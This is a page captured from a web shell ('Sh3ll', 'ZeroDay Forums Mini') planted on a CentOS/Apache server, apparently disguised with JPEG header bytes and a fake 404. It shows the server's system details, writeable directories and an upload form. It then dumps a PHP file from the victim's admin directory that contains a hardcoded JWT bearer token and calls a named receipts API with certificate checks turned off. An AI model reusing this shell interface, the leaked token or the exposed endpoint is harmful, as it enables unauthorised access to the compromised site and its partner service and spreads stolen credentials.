ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/get_test.php
<?php
$token_key='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InJveSIsImV4cCI6MTU4MjYyMDY1OX0.EMTwnke-M5PXV3LEEUveZLcvvi7pQmGUbWMAj2KeR94';
$ptt_id= isset($_GET['ptt_id']) ? $_GET['ptt_id'] : 0;
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_HTTPHEADER => array('Authorization: Bearer '.$token_key),
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_URL => 'https://iportal.nhg.vn/webservice/receipts.php?act=PTT&ptt_id='.$ptt_id,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
    CURLOPT_SSL_VERIFYPEER => false
));
$resp = curl_exec($curl);
curl_close($curl);
//K?t qu? tr? v? d?ng JSON
$arr_resp = json_decode($resp,true);
print_r($arr_resp);
exit();
?>

ZeroDay Forums Mini